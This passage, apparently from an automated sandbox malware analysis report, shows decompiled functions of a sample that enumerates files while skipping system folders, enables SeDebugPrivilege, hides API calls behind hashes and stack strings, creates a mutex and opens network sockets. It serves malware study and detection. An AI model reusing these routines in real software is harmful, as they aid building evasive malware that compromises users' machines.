						goto L11;
					}
					if(_a24 == 0) {
						L7:
						if(E00405D24( &(_v596.cFileName)) >= 3) {
							L9:
							_push( &(_v596.cFileName));
							_t60 = E00405B6F(_t114, L"%s\\%s", _a4);
							_t103 = _t103 + 0xc;
							_a16 = _t60;
							_t115 = _t60;
							if(_t60 == 0) {
								goto L11;
							}
							_t99 = E00403D74(_t115, _t60, _a8, _a12, 1, 0, 1);
							E00402BAB(_a16);
							_t103 = _t103 + 0x1c;
							if(_t99 != 0) {
								E00402BAB(_t102);
								E00403BEF(_t74);
								return _t99;
							}
							goto L11;
						}
						_t66 = 0x2e;
						_t114 = _v596.cFileName - _t66;
						if(_v596.cFileName == _t66) {
							goto L11;
						}
						goto L9;
					}
					_push(L"Windows");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					_push(L"Program Files");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					goto L7;
					L11:
					E004031E5(_t74, 0, 0xce4477cc, 0, 0);
					_t56 = FindNextFileW(_t74,  &_v596); // executed
				} while (_t56 != 0);
				E00403BEF(_t74); // executed
				goto L13;
			}

0x00403d82
0x00403d88
0x00403d8c
0x00403d8d
0x00403d90
0x00403ea9
0x00403ea9
0x00403eb9
0x00403ebb
0x00403ec0
0x00403f95
0x00403f95
0x00000000
0x00403f95
0x00403ece
0x00403edb
0x00403edd
0x00403ee2
0x00403f8e
0x00403f8f
0x00000000
0x00403f94
0x00000000
0x00403ee8
0x00403ef8
0x00403f0a
0x00403f12
0x00403f18
0x00403f26
0x00403f28
0x00403f2d
0x00000000
0x00000000
0x00403f33
0x00403f76
0x00403f7c
0x00000000
0x00403f83
0x00403f36
0x00403f3a
0x00000000
0x00403f40
0x00403f0c
0x00403f10
0x00000000
0x00000000
0x00000000
0x00403f41
0x00403f41
0x00403f4b
0x00403f58
0x00403f5c
0x00403f88
0x00000000
0x00403f8d
0x00403f60
0x00000000
0x00403f60
0x00403ef8
0x00403ee8
0x00403da3
0x00403da9
0x00403ea6
0x00403ea8
0x00000000
0x00403ea8
0x00403db7
0x00403dc4
0x00403dc6
0x00403dcb
0x00403e9d
0x00403e9e
0x00403ea4
0x00000000
0x00000000
0x00000000
0x00000000
0x00403dd1
0x00403dd1
0x00403dd8
0x00000000
0x00000000
0x00403de2
0x00403e12
0x00403e22
0x00403e30
0x00403e36
0x00403e3f
0x00403e44
0x00403e47
0x00403e4a
0x00403e4c
0x00000000
0x00000000
0x00403e63
0x00403e65
0x00403e6a
0x00403e6f
0x00403f64
0x00403f6a
0x00000000
0x00403f71
0x00000000
0x00403e6f
0x00403e26
0x00403e27
0x00403e2e
0x00000000
0x00000000
0x00000000
0x00403e2e
0x00403dea
0x00403df9
0x00000000
0x00000000
0x00403e01
0x00403e10
0x00000000
0x00000000
0x00000000
0x00403e75
0x00403e7f
0x00403e8c
0x00403e8e
0x00403e97
0x00000000

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

%s\*, xrefs: 00403D99
Program Files, xrefs: 00403E01
Windows, xrefs: 00403DEA
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040650A(void* __eax, void* __ebx, void* __eflags) {
				void* _v8;
				struct _LUID _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				intOrPtr* _t13;
				void* _t14;
				int _t16;
				int _t31;
				void* _t32;

				_t31 = 0;
				E004060AC();
				_t32 = __eax;
				_t13 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
				_t14 =  *_t13(_t32, 0x28,  &_v8);
				if(_t14 != 0) {
					E004031E5(__ebx, 9, 0xc6c3ecbb, 0, 0);
					_t16 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v16); // executed
					if(_t16 != 0) {
						_push(__ebx);
						_v32.Privileges = _v16.LowPart;
						_v32.PrivilegeCount = 1;
						_v24 = _v16.HighPart;
						_v20 = 2;
						E004031E5(1, 9, 0xc1642df2, 0, 0);
						AdjustTokenPrivileges(_v8, 0,  &_v32, 0x10, 0, 0); // executed
						_t31 =  !=  ? 1 : 0;
					}
					E00403C40(_v8);
					return _t31;
				}
				return _t14;
			}

0x00406512
0x00406514
0x00406522
0x00406524
0x00406530
0x00406534
0x0040653f
0x0040654e
0x00406552
0x0040655a
0x0040655f
0x0040656d
0x00406570
0x00406573
0x0040657a
0x00406589
0x0040658d
0x00406590
0x00406594
0x00000000
0x0040659a
0x004065a1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7C(long _a4) {
				void* _t4;
				void* _t7;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t4;
				if(_t7 != 0) {
					E00402B4E(_t7, 0, _a4);
				}
				return _t7;
			}

0x00402b8c
0x00402b92
0x00402b96
0x00402b9e
0x00402ba3
0x00402baa

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(WCHAR* _a4, DWORD* _a8) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 9, 0xd4449184, 0, 0);
				_t4 = GetUserNameW(_a4, _a8); // executed
				return _t4;
			}

0x00406077
0x00406082
0x00406085

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED4, Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Uniqueness

Uniqueness Score: -1.00%

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004061C3(void* __eax, void* __ebx, void* __eflags) {
				int _v8;
				long _v12;
				int _v16;
				int _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr* _t25;
				int _t27;
				int _t30;
				int _t31;
				int _t36;
				int _t37;
				intOrPtr* _t39;
				int _t40;
				long _t44;
				intOrPtr* _t45;
				int _t46;
				void* _t48;
				int _t49;
				void* _t67;
				void* _t68;
				void* _t74;

				_t48 = __ebx;
				_t67 = 0;
				_v8 = 0;
				E00402BF2();
				_t68 = __eax;
				_t25 = E004031E5(__ebx, 9, 0xe87a9e93, 0, 0);
				_t2 =  &_v8; // 0x414449
				_push(1);
				_push(8);
				_push(_t68);
				if( *_t25() != 0) {
					L4:
					_t27 = E00402B7C(0x208);
					_v20 = _t27;
					__eflags = _t27;
					if(_t27 != 0) {
						E0040338C(_t27, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_push(_t48);
					_t49 = E00402B7C(0x208);
					__eflags = _t49;
					if(_t49 != 0) {
						E0040338C(_t49, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_v28 = 0x208;
					_v24 = 0x208;
					_t7 =  &_v8; // 0x414449
					_v12 = _t67;
					E004031E5(_t49, 9, 0xecae3497, _t67, _t67);
					_t30 = GetTokenInformation( *_t7, 1, _t67, _t67,  &_v12); // executed
					__eflags = _t30;
					if(_t30 == 0) {
						_t36 = E00402B7C(_v12);
						_v16 = _t36;
						__eflags = _t36;
						if(_t36 != 0) {
							_t14 =  &_v8; // 0x414449, executed
							_t37 = E00406086( *_t14, 1, _t36, _v12,  &_v12); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								_t39 = E004031E5(_t49, 9, 0xc0862e2b, _t67, _t67);
								_t40 =  *_t39(_t67,  *_v16, _v20,  &_v28, _t49,  &_v24,  &_v32); // executed
								__eflags = _t40;
								if(__eflags != 0) {
									_t67 = E00405B6F(__eflags, L"%s", _t49);
								}
							}
							E00402BAB(_v16);
						}
					}
					__eflags = _v8;
					if(_v8 != 0) {
						E00403C40(_v8); // executed
					}
					__eflags = _t49;
					if(_t49 != 0) {
						E00402BAB(_t49);
					}
					_t31 = _v20;
					__eflags = _t31;
					if(_t31 != 0) {
						E00402BAB(_t31);
					}
					return _t67;
				}
				_t44 = GetLastError();
				if(_t44 == 0x3f0) {
					E004060AC();
					_t45 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
					_t3 =  &_v8; // 0x414449
					_t46 =  *_t45(_t44, 8, _t3);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L2;
					}
					goto L4;
				}
				L2:
				return 0;
			}

0x004061c3
0x004061cb
0x004061cd
0x004061d0
0x004061de
0x004061e0
0x004061e5
0x004061e9
0x004061eb
0x004061ed
0x004061f2
0x0040622a
0x00406230
0x00406235
0x00406239
0x0040623b
0x00406244
0x00406249
0x00406249
0x0040624c
0x00406253
0x00406256
0x00406258
0x00406261
0x00406266
0x00406266
0x00406270
0x00406273
0x00406276
0x0040627b
0x0040627e
0x0040628c
0x0040628e
0x00406290
0x00406295
0x0040629a
0x0040629e
0x004062a0
0x004062ac
0x004062af
0x004062b7
0x004062b9
0x004062c9
0x004062e0
0x004062e2
0x004062e4
0x004062f3
0x004062f3
0x004062e4
0x004062f8
0x004062fd
0x004062a0
0x004062fe
0x00406302
0x00406307
0x0040630c
0x0040630d
0x0040630f
0x00406312
0x00406317
0x00406318
0x0040631c
0x0040631e
0x00406321
0x00406326
0x00000000
0x00406327
0x004061f4
0x004061ff
0x00406208
0x00406218
0x0040621d
0x00406224
0x00406226
0x00406228
0x00000000
0x00000000
0x00000000
0x00406228
0x00406201
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C

Strings

IDA, xrefs: 00406304
IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wmemset$ErrorInformationLastToken
String ID: IDA$IDA
API String ID: 487585393-2020647798
Opcode ID: cd662bacda138fad525beeffca010871ee416c8799393d48ee72f9c5f8360390
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: cd662bacda138fad525beeffca010871ee416c8799393d48ee72f9c5f8360390
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Uniqueness

Uniqueness Score: -1.00%

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404E17(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				void* _t23;
				signed int _t24;
				signed int* _t25;
				signed int _t30;
				signed int _t31;
				signed int _t33;
				signed int _t41;
				void* _t42;
				signed int* _t43;

				_v8 = _v8 & 0x00000000;
				_t33 = 8;
				memset( &_v40, 0, _t33 << 2);
				_v32 = 1;
				_t23 =  &_v40;
				_v28 = 6;
				_v36 = 2;
				__imp__getaddrinfo(_a4, _a8, _t23,  &_v8); // executed
				if(_t23 == 0) {
					_t24 = E00402B7C(4);
					_t43 = _t24;
					_t31 = _t30 | 0xffffffff;
					 *_t43 = _t31;
					_t41 = _v8;
					__imp__#23( *((intOrPtr*)(_t41 + 4)),  *((intOrPtr*)(_t41 + 8)),  *((intOrPtr*)(_t41 + 0xc)), _t42, _t30); // executed
					 *_t43 = _t24;
					if(_t24 != _t31) {
						__imp__#4(_t24,  *((intOrPtr*)(_t41 + 0x18)),  *((intOrPtr*)(_t41 + 0x10))); // executed
						if(_t24 == _t31) {
							E00404DE5(_t24,  *_t43);
							 *_t43 = _t31;
						}
						__imp__freeaddrinfo(_v8);
						if( *_t43 != _t31) {
							_t25 = _t43;
							goto L10;
						} else {
							E00402BAB(_t43);
							L8:
							_t25 = 0;
							L10:
							return _t25;
						}
					}
					E00402BAB(_t43);
					__imp__freeaddrinfo(_v8);
					goto L8;
				}
				return 0;
			}

0x00404e1d
0x00404e26
0x00404e2a
0x00404e2f
0x00404e37
0x00404e3a
0x00404e45
0x00404e4f
0x00404e57
0x00404e61
0x00404e66
0x00404e68
0x00404e6c
0x00404e6e
0x00404e7a
0x00404e80
0x00404e84
0x00404e9f
0x00404ea7
0x00404eab
0x00404eb1
0x00404eb1
0x00404eb6
0x00404ebe
0x00404ecb
0x00000000
0x00404ec0
0x00404ec1
0x00404ec7
0x00404ec7
0x00404ecd
0x00000000
0x00404ece
0x00404ebe
0x00404e87
0x00404e90
0x00000000
0x00404e90
0x00000000

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 72e0338d38ad33957d38c9089103d94f386660c6381396b24b8f460aac80ca0e
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 72e0338d38ad33957d38c9089103d94f386660c6381396b24b8f460aac80ca0e
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004040BB(void* __eflags, WCHAR* _a4, long* _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* _t16;
				intOrPtr* _t25;
				long* _t28;
				void* _t30;
				int _t32;
				intOrPtr* _t33;
				void* _t35;
				void* _t42;
				intOrPtr _t43;
				long _t44;
				struct _OVERLAPPED* _t46;

				_t46 = 0;
				_t35 = 0;
				E004031E5(0, 0, 0xe9fabb88, 0, 0);
				_t16 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t42 = _t16;
				_v8 = _t42;
				if(_t42 == 0xffffffff) {
					__eflags = _a12;
					if(_a12 == 0) {
						L10:
						return _t35;
					}
					_t43 = E00403C90(_t42, L".tmp", 0, 0, 0x1a);
					__eflags = _t43;
					if(_t43 == 0) {
						goto L10;
					}
					_push(0);
					__eflags = E00403C59(_a4, _t43);
					if(__eflags != 0) {
						_v8 = 0;
						_t46 = E004040BB(__eflags, _t43,  &_v8, 0);
						_push(_t43);
						 *_a8 = _v8;
						E00403D44();
					}
					E00402BAB(_t43);
					return _t46;
				}
				_t25 = E004031E5(0, 0, 0xf9435d1e, 0, 0);
				_t44 =  *_t25(_t42,  &_v12);
				if(_v12 != 0 || _t44 > 0x40000000) {
					L8:
					_t45 = _v8;
					goto L9;
				} else {
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 = _t44;
					}
					E004031E5(_t35, _t46, 0xd4ead4e2, _t46, _t46);
					_t30 = VirtualAlloc(_t46, _t44, 0x1000, 4); // executed
					_t35 = _t30;
					if(_t35 == 0) {
						goto L8;
					} else {
						E004031E5(_t35, _t46, 0xcd0c9940, _t46, _t46);
						_t45 = _v8;
						_t32 = ReadFile(_v8, _t35, _t44,  &_v16, _t46); // executed
						if(_t32 == 0) {
							_t33 = E004031E5(_t35, _t46, 0xf53ecacb, _t46, _t46);
							 *_t33(_t35, _t46, 0x8000);
							_t35 = _t46;
						}
						L9:
						E00403C40(_t45); // executed
						goto L10;
					}
				}
			}

0x004040c4
0x004040ce
0x004040d0
0x004040e8
0x004040ea
0x004040ec
0x004040f2
0x0040418d
0x00404190
0x00404184
0x00000000
0x00404184
0x004041a0
0x004041a5
0x004041a7
0x00000000
0x00000000
0x004041a9
0x004041b6
0x004041b8
0x004041be
0x004041cb
0x004041d0
0x004041d1
0x004041d3
0x004041d8
0x004041dc
0x00000000
0x004041e2
0x00404100
0x0040410c
0x00404111
0x0040417a
0x0040417a
0x00000000
0x0040411b
0x0040411b
0x00404120
0x00404122
0x00404122
0x0040412c
0x0040413a
0x0040413c
0x00404140
0x00000000
0x00404142
0x0040414a
0x00404155
0x0040415a
0x0040415e
0x00404168
0x00404174
0x00404176
0x00404176
0x0040417d
0x0040417e
0x00000000
0x00404183
0x00404140

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Uniqueness

Uniqueness Score: -1.00%

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413866(void* __eflags) {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				char _v24;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				char _v76;
				void* __ebx;
				void* __edi;
				void* _t38;
				short _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				short _t48;
				short _t50;
				short _t51;
				short _t52;
				short _t54;
				short _t55;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t63;
				WCHAR* _t65;
				long _t68;
				void* _t75;
				short _t76;
				short _t78;
				short _t83;
				short _t84;
				short _t85;

				E00402C6C(_t38);
				E004031E5(_t75, 0, 0xd1e96fcd, 0, 0);
				SetErrorMode(3); // executed
				_t43 = 0x4f;
				_v76 = _t43;
				_t44 = 0x4c;
				_v74 = _t44;
				_t45 = 0x45;
				_v72 = _t45;
				_t46 = 0x41;
				_v70 = _t46;
				_t47 = 0x55;
				_v68 = _t47;
				_t48 = 0x54;
				_t76 = 0x33;
				_t84 = 0x32;
				_t83 = 0x2e;
				_t78 = 0x64;
				_t85 = 0x6c;
				_v66 = _t48;
				_v52 = 0;
				_t50 = 0x77;
				_v48 = _t50;
				_t51 = 0x73;
				_v46 = _t51;
				_t52 = 0x5f;
				_v42 = _t52;
				_v28 = 0;
				_t54 = 0x6f;
				_v24 = _t54;
				_t55 = 0x65;
				_v20 = _t55;
				_v64 = _t76;
				_v62 = _t84;
				_v60 = _t83;
				_v58 = _t78;
				_v56 = _t85;
				_v54 = _t85;
				_v44 = _t84;
				_v40 = _t76;
				_v38 = _t84;
				_v36 = _t83;
				_v34 = _t78;
				_v32 = _t85;
				_v30 = _t85;
				_v22 = _t85;
				_v18 = _t76;
				_v16 = _t84;
				_v14 = _t83;
				_v12 = _t78;
				_v10 = _t85;
				_v8 = _t85;
				_v6 = 0;
				_t57 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t57( &_v76);
				_t59 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t59( &_v48);
				_t61 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				_t81 =  &_v24;
				 *_t61( &_v24); // executed
				_t63 = E00414059(); // executed
				if(_t63 != 0) {
					_t65 = E00413D97(0);
					E004031E5(0, 0, 0xcf167df4, 0, 0);
					CreateMutexW(0, 1, _t65); // executed
					_t68 = GetLastError();
					_t92 = _t68 - 0xb7;
					if(_t68 == 0xb7) {
						E00413B81(0);
						_pop(_t81); // executed
					}
					E00413003(_t92); // executed
					E00412B2E(_t92); // executed
					E00412D31(_t81, _t84); // executed
					E00413B3F();
					E00413B81(0);
					 *0x49fdd0 = 1;
				}
				return 0;
			}

0x0041386f
0x0041387e
0x00413885
0x00413889
0x0041388c
0x00413890
0x00413893
0x00413897
0x0041389a
0x0041389e
0x004138a1
0x004138a5
0x004138a8
0x004138ac
0x004138af
0x004138b2
0x004138b5
0x004138b8
0x004138bb
0x004138bc
0x004138c4
0x004138c8
0x004138cb
0x004138cf
0x004138d2
0x004138d6
0x004138d7
0x004138df
0x004138e3
0x004138e4
0x004138ea
0x004138eb
0x004138f1
0x004138f5
0x004138f9
0x004138fd
0x00413901
0x00413905
0x00413909
0x0041390d
0x00413911
0x00413915
0x00413919
0x0041391d
0x00413921
0x00413925
0x00413929
0x0041392d
0x00413931
0x00413935
0x00413939
0x0041393d
0x00413941
0x00413950
0x00413959
0x0041395f
0x00413968
0x0041396e
0x00413973
0x00413977
0x00413979
0x00413980
0x00413982
0x00413991
0x0041399c
0x0041399e
0x004139a4
0x004139a9
0x004139ac
0x004139b1
0x004139b1
0x004139b2
0x004139b7
0x004139bc
0x004139c1
0x004139c7
0x004139cd
0x004139cd
0x004139db

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Uniqueness

Uniqueness Score: -1.00%

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CF(void* __ebx, void* __eflags, WCHAR* _a4, void* _a8, long _a12) {
				long _v8;
				void* _t7;
				long _t10;
				void* _t21;
				struct _OVERLAPPED* _t24;

				_t14 = __ebx;
				_t24 = 0;
				_v8 = 0;
				E004031E5(__ebx, 0, 0xe9fabb88, 0, 0);
				_t7 = CreateFileW(_a4, 0xc0000000, 0, 0, 4, 0x80, 0); // executed
				_t21 = _t7;
				if(_t21 != 0xffffffff) {
					E004031E5(__ebx, 0, 0xeebaae5b, 0, 0);
					_t10 = SetFilePointer(_t21, 0, 0, 2); // executed
					if(_t10 != 0xffffffff) {
						E004031E5(_t14, 0, 0xc148f916, 0, 0);
						WriteFile(_t21, _a8, _a12,  &_v8, 0); // executed
						_t24 =  !=  ? 1 : 0;
					}
					E00403C40(_t21); // executed
				}
				return _t24;
			}

0x004042cf
0x004042d5
0x004042df
0x004042e2
0x004042f9
0x004042fb
0x00404300
0x0040430a
0x00404314
0x00404319
0x00404323
0x00404334
0x0040433b
0x0040433b
0x0040433f
0x00404344
0x0040434c

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
